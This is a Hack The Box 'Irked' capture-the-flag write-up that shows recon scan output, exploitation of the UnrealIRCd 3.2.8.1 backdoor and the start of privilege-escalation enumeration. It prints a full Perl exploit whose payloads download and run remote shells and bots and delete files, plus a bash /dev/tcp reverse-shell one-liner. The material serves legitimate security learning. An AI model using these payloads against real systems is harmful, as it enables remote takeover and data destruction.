HacktheBox 'Irked' writeup
HTB ‘Irked’ Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| Irked | 10.10.10.117 | Linux | Easy |
Writeup Contents:
(you can jump to the section using these links)
Initial Recon
Again, we start with our initial recon of the target system. We’ll use the same enumeration automation script we used on a few other recent boxes - nmapAutomator. You can find and download the script here on Github.
Let’s run a full scan against the target:
root@kali:/writeups/HTB/irked/enumeration# nmapautomator 10.10.10.117 all
Running a all scan on 10.10.10.117
Host is likely running Linux
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:44 CST
Nmap scan report for 10.10.10.117
Host is up (0.032s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 1.69 seconds
---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:44 CST
Nmap scan report for 10.10.10.117
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36419/tcp6 status
| 100024 1 39913/udp6 status
| 100024 1 48768/tcp status
|_ 100024 1 54727/udp status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.97 seconds
----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:44 CST
Warning: 10.10.10.117 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.117
Host is up (0.032s latency).
Not shown: 907 open|filtered ports, 91 closed ports
PORT STATE SERVICE
111/udp open rpcbind
5353/udp open zeroconf
Nmap done: 1 IP address (1 host up) scanned in 85.86 seconds
Making a script scan on UDP ports: 111, 5353
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:45 CST
Nmap scan report for 10.10.10.117
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36419/tcp6 status
| 100024 1 39913/udp6 status
| 100024 1 48768/tcp status
|_ 100024 1 54727/udp status
5353/udp open mdns DNS-based service discovery
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds
---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:45 CST
Initiating Parallel DNS resolution of 1 host. at 09:45
Completed Parallel DNS resolution of 1 host. at 09:45, 0.01s elapsed
Initiating SYN Stealth Scan at 09:45
Scanning 10.10.10.117 [65535 ports]
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 111/tcp on 10.10.10.117
SYN Stealth Scan Timing: About 23.23% done; ETC: 09:47 (0:01:42 remaining)
Discovered open port 6697/tcp on 10.10.10.117
SYN Stealth Scan Timing: About 46.12% done; ETC: 09:47 (0:01:11 remaining)
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 48768/tcp on 10.10.10.117
SYN Stealth Scan Timing: About 69.01% done; ETC: 09:47 (0:00:41 remaining)
Discovered open port 65534/tcp on 10.10.10.117
Completed SYN Stealth Scan at 09:47, 131.12s elapsed (65535 total ports)
Nmap scan report for 10.10.10.117
Host is up (0.032s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
48768/tcp open unknown
65534/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 131.19 seconds
Raw packets sent: 65542 (2.884MB) | Rcvd: 65608 (2.631MB)
Making a script scan on extra ports: 6697, 8067, 48768, 65534
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:47 CST
Nmap scan report for 10.10.10.117
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
4 ru4)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.77 seconds
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:49 CST
/root/nmapAutomator/nmapAutomator.sh: line 226: 3199 Segmentation fault $nmapType -sV --script vulners --script-args mincvss=7.0 -p$(echo "${ports}") -oN nmap/CVEs_"$1".nmap "$1"
Running Vuln scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 09:49 CST
Nmap scan report for 10.10.10.117
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /manual/: Potentially interesting folder
|_http-server-header: Apache/2.4.10 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.10:
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
| CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199
| CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743
| CVE-2016-2161 5.0 https://vulners.com/cve/CVE-2016-2161
| CVE-2016-0736 5.0 https://vulners.com/cve/CVE-2016-0736
| CVE-2014-3583 5.0 https://vulners.com/cve/CVE-2014-3583
| CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2015-3185 4.3 https://vulners.com/cve/CVE-2015-3185
| CVE-2014-8109 4.3 https://vulners.com/cve/CVE-2014-8109
| CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
|_ CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
111/tcp open rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36419/tcp6 status
| 100024 1 39913/udp6 status
| 100024 1 48768/tcp status
|_ 100024 1 54727/udp status
6697/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| irc-botnet-channels:
|_ ERROR: Closing Link: [10.10.14.50] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
8067/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| irc-botnet-channels:
|_ ERROR: Closing Link: [10.10.14.50] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.
48768/tcp open status 1 (RPC #100024)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
65534/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| irc-botnet-channels:
|_ ERROR: Closing Link: [10.10.14.50] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.80 seconds
---------------------Recon Recommendations----------------------
Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.117:80 -o recon/gobuster_10.10.10.117_80.txt
nikto -host 10.10.10.117:80 | tee recon/nikto_10.10.10.117_80.txt
Which commands would you like to run?
All (Default), gobuster, nikto, Skip <!>
Running Default in (1) s:
---------------------Running Recon Commands----------------------
Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.117:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/01/30 09:51:13 Starting gobuster
===============================================================
http://10.10.10.117:80/.hta (Status: 403) [Size: 291]
http://10.10.10.117:80/.hta.html (Status: 403) [Size: 296]
http://10.10.10.117:80/.hta.php (Status: 403) [Size: 295]
http://10.10.10.117:80/.htaccess (Status: 403) [Size: 296]
http://10.10.10.117:80/.htaccess.php (Status: 403) [Size: 300]
http://10.10.10.117:80/.htaccess.html (Status: 403) [Size: 301]
http://10.10.10.117:80/.htpasswd (Status: 403) [Size: 296]
http://10.10.10.117:80/.htpasswd.html (Status: 403) [Size: 301]
http://10.10.10.117:80/.htpasswd.php (Status: 403) [Size: 300]
http://10.10.10.117:80/index.html (Status: 200) [Size: 72]
http://10.10.10.117:80/index.html (Status: 200) [Size: 72]
http://10.10.10.117:80/manual (Status: 301) [Size: 313]
http://10.10.10.117:80/server-status (Status: 403) [Size: 300]
===============================================================
2020/01/30 09:51:43 Finished
===============================================================
Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.117
+ Target Hostname: 10.10.10.117
+ Target Port: 80
+ Start Time: 2020-01-30 09:51:43 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 48, size: 56c2e413aa86b, mtime: gzip
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2020-01-30 09:56:36 (GMT-6) (293 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan
=========================
---------------------Finished all Nmap scans---------------------
Completed in 12 minute(s) and 33 second(s)
OK, so looks like we have what looks to be a Debian Linux distrobution, with SSH, HTTP, and rcpbind all running on their standard ports. Interestingly, we seem to have IRC running on a few ports, as well as a status port.
Let’s start by checking out what HTTP has to offer.
examining HTTP
Upon going to the index page, we see an irked emoticon, and a page saying “IRC is almost working!”
The page source doesn’t seem to reveal anything interesting, and this seemed to be the only page that didn’t return a 403 [Forbidden] status.
enumerating IRC
Since it seems as IRC may be the path forward, or at least a breadcrumb, let’s use nmap to do a little further recon on IRC:
root@kali:~# nmap -sC -sV -p 6697,8067,65534 10.10.10.117
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-30 11:05 CST
Nmap scan report for 10.10.10.117
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.66 seconds
OK, that didn’t give us any really new information, but let’s see if we can use IRC to connect to irked.htb.
If we add the following to our /etc/hosts file: 10.10.10.117 irked.htb, we can try to visit the URL with the IRC prefix.
Going to irc://irked.htb, it seems we are prompted to open the application with the Mibbit IRC client. Let’s go ahead and do that. It looks like once we try to connect via Mibbit, it can’t resolve the hostname. OK, not exactly unexpected.
Let’s see if we can get some further information on IRC, such as version information, by doing a banner grab. The more we know about the service, the better we can tailor our exploits to it.
We can probably use netcat to do a banner grab from IRC. Doing a regular netcat on the IP and the port seems to time out:
root@kali:~# nc 10.10.10.117 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [10.10.14.50] (Ping timeout)
So there’s probably an RFC for IRC that should give us some syntax information, let’s see what we can find. We can find [the following information on IRC connection from the. Per the documentation:
4.1.3 User message
Command: USER
Parameters: <username> <hostname> <servername> <realname>
The USER message is used at the beginning of connection to specify
the username, hostname, servername and realname of s new user. It is
also used in communication between servers to indicate new user
arriving on IRC, since only after both USER and NICK have been
received from a client does a user become registered.
So let’s give the following a try, after the initial netcat: USER initinfosec irked.htb irked initinfosec
It still looks like it times out after a minute:
root@kali:~# nc 10.10.10.117 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
USER initinfosec irked.htb irked initinfosec
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
USER initinfosec irked.htb irked initinfosec
ERROR :Closing Link: [10.10.14.50] (Ping timeout)
However, if we look at the RFC further, it looks like a NICK and PASS must be sent first, and also the real name must be prefaced by a colon (:)
Command: PASS
Parameters: <password>
The PASS command is used to set a 'connection password'. The
password can and must be set before any attempt to register the
connection is made. Currently this requires that clients send a PASS
command before sending the NICK/USER combination and servers *must*
send a PASS command before any SERVER command. The password supplied
must match the one contained in the C/N lines (for servers) or I
lines (for clients). It is possible to send multiple PASS commands
before registering but only the last one sent is used for
verification and it may not be changed once registered. Numeric
Replies:
ERR_NEEDMOREPARAMS ERR_ALREADYREGISTRED
Example:
PASS secretpasswordhere
4.1.2 Nick message
Command: NICK
Parameters: <nickname> [ <hopcount> ]
NICK message is used to give user a nickname or change the previous
one. The <hopcount> parameter is only used by servers to indicate
how far away a nick is from its home server. A local connection has
a hopcount of 0. If supplied by a client, it must be ignored.
If a NICK message arrives at a server which already knows about an
identical nickname for another client, a nickname collision occurs.
As a result of a nickname collision, all instances of the nickname
are removed from the server's database, and a KILL command is issued
to remove the nickname from all other server's database. If the NICK
message causing the collision was a nickname change, then the
original (old) nick must be removed as well.
If the server recieves an identical NICK from a client which is
directly connected, it may issue an ERR_NICKCOLLISION to the local
client, drop the NICK command, and not generate any kills.
It must be noted that realname parameter must be the last parameter,
because it may contain space characters and must be prefixed with a
colon (':') to make sure this is recognised as such.
So if we try that again, with the proper syntax, it appears we’re connected:
root@kali:~# nc 10.10.10.117 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
PASS initinfosec
NICK initinfosec:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
USER initinfosec irked.htb irked :initinfosec
:irked.htb 001 initinfosec :Welcome to the ROXnet IRC Network initinfosec!initinfose@10.10.14.50
:irked.htb 002 initinfosec :Your host is irked.htb, running version Unreal3.2.8.1
:irked.htb 003 initinfosec :This server was created Mon May 14 2018 at 13:12:50 EDT
:irked.htb 004 initinfosec irked.htb Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
:irked.htb 005 initinfosec UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
:irked.htb 005 initinfosec WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
:irked.htb 005 initinfosec EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
:irked.htb 251 initinfosec :There are 1 users and 0 invisible on 1 servers
:irked.htb 253 initinfosec 1 :unknown connection(s)
:irked.htb 255 initinfosec :I have 1 clients and 0 servers
:irked.htb 265 initinfosec :Current Local Users: 1 Max: 1
:irked.htb 266 initinfosec :Current Global Users: 1 Max: 1
:irked.htb 422 initinfosec :MOTD File is missing
:initinfosec MODE initinfosec :+iwx
So we seem the IRC server seems to be running on something called Unreal3.2.8.1
initial foothold
Failed exploit attempt for initial foothold
Let’s go ahead and check searchsploit to see if there are any known exploits for this IRC application version:
root@kali:~# searchsploit Unreal 3.2.8.1
------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------ ----------------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Exe | exploits/linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration | exploits/windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Ex | exploits/linux/remote/13853.pl
------------------------------------------ ----------------------------------------
Shellcodes: No Result
Seems like some promising results. Since we’re not running Windows and we don’t want a DoS, we can rule out the second entry. Let’s check out the third option first, as the first result is likely a metasploit module, and we’re trying to avoid usage of msf. It looks like the thrid exploit allows for installation of a trojan on the client and connection capability back to the attacker system via a reverse shell. That could be exactly what we need, let’s download it, and then take a further look:
root@kali:/writeups/HTB/irked/exploits# searchsploit -m 13853
Exploit: UnrealIRCd 3.2.8.1 - Remote Downloader/Execute
URL: https://www.exploit-db.com/exploits/13853
Path: /usr/share/exploitdb/exploits/linux/remote/13853.pl
File Type: Perl script text executable
Copied to: /writeups/HTB/irked/exploits/13853.pl
#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)
use Socket;
use IO::Socket;
## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];
if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }
sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl <host> <port> <type>\n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
sub unreal_trojan {
my $ircserv = $host;
my $ircport = $port;
my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "[+] Payload sent ...\n";
if ($type eq "1") {
print $sockd "$payload1";
} elsif ($type eq "2") {
print $sockd "$payload2";
} elsif ($type eq "3") {
print $sockd "$payload3";
} elsif ($type eq "4") {
print $sockd "$payload4";
} elsif ($type eq "5") {
print $sockd "$payload5";
} else {
printf "\nInvalid Option ...\n\n";
usage();
}
close($sockd);
exit(1);
}
unreal_trojan();
# EOF
So from the usage section , we see:
sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl <host> <port> <type>\n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
In case this works, let’s go ahead and start a listener to catch a reverse shell callback if one spawns, using nc -lvnp 43110
Now let’s go ahead and give our exploit a shot:
root@kali:/writeups/HTB/irked/exploits# perl 13853.pl 10.10.10.117 6687 2
Failed to connect to 10.10.10.117 on 6687 ...
And we get the following. Perhaps we can try another IRC port.
{Author’s post-script: looking back, I realize i typo-d this port. It should have been 6697 instead of 6687 - that’s probably why it didn’t work.}
root@kali:/writeups/HTB/irked/exploits# perl 13853.pl 10.10.10.117 8067 2
[+] Payload sent ...
Interesting, but when we go back and look at the source for the exploit, it looks like the reverse shell link now 404s. Also, I noticed above that it seems that the options 2 and 3 are reversed from what the menu/usage says they are, and what they actually execute.
modifying the exploit
The crux of the exploit seems valid, however. It looks like if we send AB ; to the IRC server on port 8067, we can seemingly have arbitrary command execution from there. A quick Internet search seems to confirm that, for instance this interesting article. Let’s see if we can strip this down to the main exploti and get it to work without using the perl script; hopefully we can just echo a command to netcat similar to how we did a banner grab for the IRC server initially.
Since our listener is already open on port 43110, we should be able to pass a bash reverse shell command to our listener after the AB ; segement, piping the bash shell to our VPN IP on port 43110 all through an echo comamnd and piped to netcat. Let’s give the it a shot:
root@kali:/writeups/HTB/irked/exploits# echo "AB; bash -i >& /dev/tcp/10.10.14.50/43110 0>&1" | netcat 10.10.10.117 8067
:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
:irked.htb 451 AB; :You have not registered
Interesting. This seems to time out after a minute. I figure it’s something to do with the way we’re invoking our bash shell (the system is debian, so bash should be a safe bet), so after a quick look at the man page, decided it might be a good idea to wrap the entire bash command in the -c flag, just to make sure something isn’t getting lost when passing the command/input.
gaining an initial foothold
So, trying a second time:
root@kali:/writeups/HTB/irked/exploits# echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.50/43110 0>&1'" | netcat 10.10.10.117 8067
:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
It doesn’t seem to time out. And checking our listener, we see we get a shell:
root@kali:~# sudo nc -lvnp 43110
listening on [any] 43110 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.117] 53974
bash: cannot set terminal process group (643): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ whoami && pwd
whoami && pwd
ircd
/home/ircd/Unreal3.2
As expected, we are the IRC user, and don’t have permissions to grab the user or root flags yet, so let’s enumerate further to see how we can escalate privileges on the system from our new vantage point.
Privilege Escalation
enumeration
Rather than doing a bunch of manual enumeration to start off, let’s use a great automated script we used on a prior writeup called linux smart enumeration. I have it saved in the folder /recon on my local kali machine, so let’s serve that folder via SimpleHTTP and use wget on the target system to upload the script, like we’ve done for some prior machines:
From our kali box:
root@kali:/recon# cd /recon/ && ll
total 4
drwxr-xr-x 5 root root 4096 Jan 28 09:43 linux-smart-enumeration
root@kali:/recon# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
and on the target system:
ircd@irked:/$ wget http://10.10.14.50:8080/linux-smart-enumeration/lse.sh -o /tmp/lse.sh
<0.10.14.50/linux-smart-enumeration/lse.sh -o /tmp/lse.sh
ircd@irked:~/Unreal3.2$ cd /tmp && chmod +x lse.sh
And let’s give it a run:
ircd@irked:/tmp$ ./lse.sh
./lse.sh
---
If you know the current user password, write it here for better results:
---
LSE Version: 1.16
User: ircd
User ID: 1001
Password: none
Home: /home/ircd
Path: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
umask: 0077
Hostname: irked
Linux: 3.16.0-6-686-pae
Distribution: Debian GNU/Linux 8.10 (jessie)
Architecture: i686
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. nope
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ nope
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/bin/X
/usr/bin/viewuser
---
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip
[!] fst060 Can we write to any setgid binary?.............................. skip
[*] fst070 Can we read /root?.............................................. nope
[*] fst080 Can we read subdirectories under /home?......................... yes!
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
[*] fst110 Other interesting files in home directories..................... nope
[!] fst120 Are there any credentials in fstab/mtab?........................ nope
[*] fst130 Does 'ircd' have mail?.......................................... nope
[!] fst140 Can we access other users mail?................................. nope
[*] fst150 Looking for GIT/SVN repositories................................ nope
[!] fst160 Can we write to critical files?................................. nope
[!] fst170 Can we write to critical directories?........................... nope
[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope
[i] fst500 Files owned by user 'ircd'...................................... skip
[i] fst510 SSH files anywhere.............................................. skip
[i] fst520 Check hosts.equiv file and its contents......................... skip
[i] fst530 List NFS server shares.......................................... skip
[i] fst540 Dump fstab file................................................. skip
=================================================================( system )=====
[i] sys000 Who is logged in................................................ skip
[i] sys010 Last logged in users............................................ skip
[!] sys020 Does the /etc/passwd have hashes?............................... nope
[!] sys030 Can we read /etc/shadow file?................................... nope
[!] sys030 Can we read /etc/shadow- file?.................................. nope
[!] sys030 Can we read /etc/shadow~ file?.................................. nope
[!] sys030 Can we read /etc/master.passwd file?............................ nope
[*] sys040 Check for other superuser accounts.............................. nope
[*] sys050 Can root user log in via SSH?................................... yes!
[i] sys060 List available shells........................................... skip
[i] sys070 System umask in /etc/login.defs................................. skip
[i] sys080 System password policies in /etc/login.defs..................... skip
===============================================================( security )=====
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... yes!
[!] sec020 Can we write to a binary with caps?............................. nope
[!] sec030 Do we have all caps in any binary?.............................. nope
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
========================================================( recurrent tasks )=====
[*] ret000 User crontab.................................................... nope
[!] ret010 Cron tasks writable by user..................................... nope
[*] ret020 Cron jobs....................................................... yes!
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
[!] ret060 Can we write to executable paths present in cron jobs........... nope
[i] ret400 Cron files...................................................... skip
[*] ret500 User systemd timers............................................. nope
[!] ret510 Can we write in any system timer?............................... nope
[i] ret900 Systemd timers.................................................. skip
================================================================( network )=====
[*] net000 Services listening only on localhost............................ yes!
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip
[i] net520 ARP table....................................................... skip
[i] net530 Namerservers.................................................... skip
[i] net540 Systemd Nameservers............................................. skip
[i] net550 Listening TCP................................................... skip
[i] net560 Listening UDP................................................... skip
===============================================================( services )=====
[!] srv000 Can we write in service files?.................................. nope
[!] srv010 Can we write in binaries executed by services?.................. nope
[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope
